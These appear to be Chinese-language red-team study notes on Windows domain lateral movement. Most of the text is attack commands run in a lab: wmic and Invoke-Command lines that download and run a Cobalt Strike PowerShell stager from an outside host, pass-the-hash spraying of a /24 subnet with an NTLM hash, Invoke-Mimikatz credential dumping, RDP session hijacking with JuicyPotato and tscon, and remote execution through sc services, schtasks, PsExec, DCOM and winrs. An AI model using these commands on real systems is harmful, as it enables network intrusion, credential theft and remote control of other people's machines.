横向移动
WMI
简介
- 全程Windows管理规范,从03开始一直存在
- 由一系列工具组成,可以在本地或者远程管理计算机系统
- Windows默认不会讲WMI的操作记录在日志中
利用
条件
-
WMI服务开启,135端口,默认开启
-
防火墙允许135,445等端口通信
测试方法
nmap -p 135 ip telnet ip 135 ......
-
管理员权限,及本地管理员组
wmic
用powershell联动cs
wmic /node:<目标 ip> /user:<用户或域用户> /password:<密码> process call create "powershell.exe -nop -w hidden -c\"IEX ((new-object net.webclient).dowloadstring('http:\\192.168.95.10:8080/a'))\""
使用方法
测试一
先使用cs生成ps载荷
信息填写好后,启动
得到执行语句
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.95.128:8080/a'))"
然后在DC上执行下面语句
wmic /node:192.168.95.12 /user:TEST\administrator /password:hxy0609. process call create "powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.95.128:8080/a'))\""
结果如下
成功上线
测试二
使用命令
wmic /node:192.168.95.12 /user:TEST\win2008 /password:user2008. process call create "cmd.exe /c ipconfig >c:\ip.txt"
然后使用
type \\192.168.95.12\c$\ip.txt
可以连接
wmiexec.vbs
使用方法
cscript wmiexec.vbs /shell 192.168.95.12 TEST\administrator password.
不知道什么原因,拿到shell但是大部分命令无法使用
Invoke-TheHash.ps1
使用方法
同时加载Invoke-WMIExec.ps1、Invoke-TheHash.ps1
利用已有管理员hash,批量撞指定网段机器,得到可用wmic连接的机器
Invoke-TheHash -Type WMIExec -Target 192.168.95.0/24 -Domain test -Username administrator -Hash b82b9c9b4bf7377f2b2e210c84a3ce11
Hash可以用mimikatz去抓
结果如下
kali自带pth工具-pth-winexe
使用方法
pth-winexe -U administrator%hxy0609. --system --ostype=1 //192.168.95.12 cmd
结果
Remote Service Creation
控制服务,可以通过SMB安排任务
命令为
sc \\192.168.95.12 create ExampleService binpath="程序路径"
sc \\192.168.95.12 start ExampleService
使用方法
先cs创建一个服务型exe后门
然后使用sc创建服务
sc \\192.168.95.12 create ExampleService binpath="c:\service.exe"
然后执行
sc \\192.168.95.12 start ExampleService
再看看cs,成功上线
Remote Desktop Protocol
远程桌面协议
RDP hijacking
在某些情况管理员远程登录了机器而没有注销掉,这个时候就可以利用这个来直接无需密码切换到该账号上
在system权限下,tscon.exe只需要使用目标会话编号,就能立即获取目标用户的桌面,且无明显痕迹
演示
mstsc
启动远程桌面并连接
query user
:目标机查看会话
JuicyPotato.exe -p "tscon 2"
:本地提权并获取目标桌面
PowerShell Remoting
-
winRM服务,在win2012后默认开启,也可命令开启
winrm quickconfig
-
连接方法:
Enter-PSSession -Computername TARGET
-
还可以使用猕猴桃获取远程机器的账号、密码
- 导入脚本:
Import-Module .\mimikatz.psl
- 使用命令:
Invoke-Mimikatz -DumpCreds -ComputerName win2008.test.local(域机器名+域名)
- 导入脚本:
Task Scheduler
-
计划任务,需要administrator权限
-
本地执行:
SCHTASKS /Create /SC ONCE /TN spawn /TR calc /ST 21:46
在21:46开启一个计算器 -
远程使用
SCHTASKS /Create /S #{target} /RU #{user_name} /RP #{password} /TN “Atomic task”(计划名称) /TR “#{task_command}”(计划程序) /SC daily /ST #{time}
**task_command只能是文件,不能带参数或者命令
```
- 删除一个计划:
SCHTASKS /Delete /TN spawn /F >nul 2>&1
PsExec
-
微软服务
-
通过ipc$连接,然后释放psexesvc.exe到目标机器
-
通过服务管理SCManager远程创建psexecsvc服务,并启动服务
-
客户端连接执行命令,服务端启动相应的程序并执行回显数据
-
获取目标的cmd环境:
PsExec64.exe \\win2008(域内主机名) cmd
- cs中也有自带:目标列表->右键->Jump->psexec64,再指定账号、密码、监听(smb) 和 session(administrator)
配置
DCOM
-
一个中间件,支持交互
-
枚举所以的DCOM对象:
Get-CimInstance win32_DCOMApplication
-
对于可以进行命令执行的DCOM,则可利用进行横向移动,比如:
-
MMC20.APPLICATION COM OBJECT
-
攻击机powershell内执行:
$a =[System.Activator]::CreateInstance([type]::GetTypeFromProgID(“MMC20.Application.1”,“192.168.95.128”))
$a.Document.Activeview.ExecuteShellCommand("cmd",$null,"/c hostname > c:\fromdcom.txt","7")
```
- 目标机上可找到c:\fromdcom.txt,更换命令即可获得会话
Password Spray
WinRM远程服务管理
-
查看与开启(管理员权限+powershell):
Get-Service WinRM
、Enable-PSRemoting –Force
-
第一次使用要添加信任
Set-Item WSMan:localhost\client\trustedhosts -value
Restart-Service WinRM
```
- 反弹一个cs会话
Invoke-Command -ComputerName 192.168.95.12(远程地址) -ScriptBlock { powershell.exe -nop -w hidden -c “IEX((new.object net.webclient).downloadstring(‘http://192.168.0.108:8080/a’))”} -credential administrator
```
- 反弹一个shell:
Enter-PSSession -ComputerName 192.168.3.73 -Credential administrator
winrs工具
-
使用:
winrs -r:192.168.95.12 -u:test\administrator -p:hxy0609. "ipconfig"
-
cs中也有,目标列表->右键->Jump->winrm64,完成设置即可运行
-
远程执行脚本:
Invoke-Command -ComputerName $ip -FilePath .\*.ps1 -credential $Cred
——没讲这个,待验证
Pass-the-Hash
-
hash传递攻击
-
猕猴桃内:
sekurlsa::pth /user:administrator /domain:test /ntlm:#HASH /run:cmd.exe
-
微软防护LocalAccountTokenFilterPolicy && 绕过
Pass-the-Ticket
- 票据传递:黄金、白银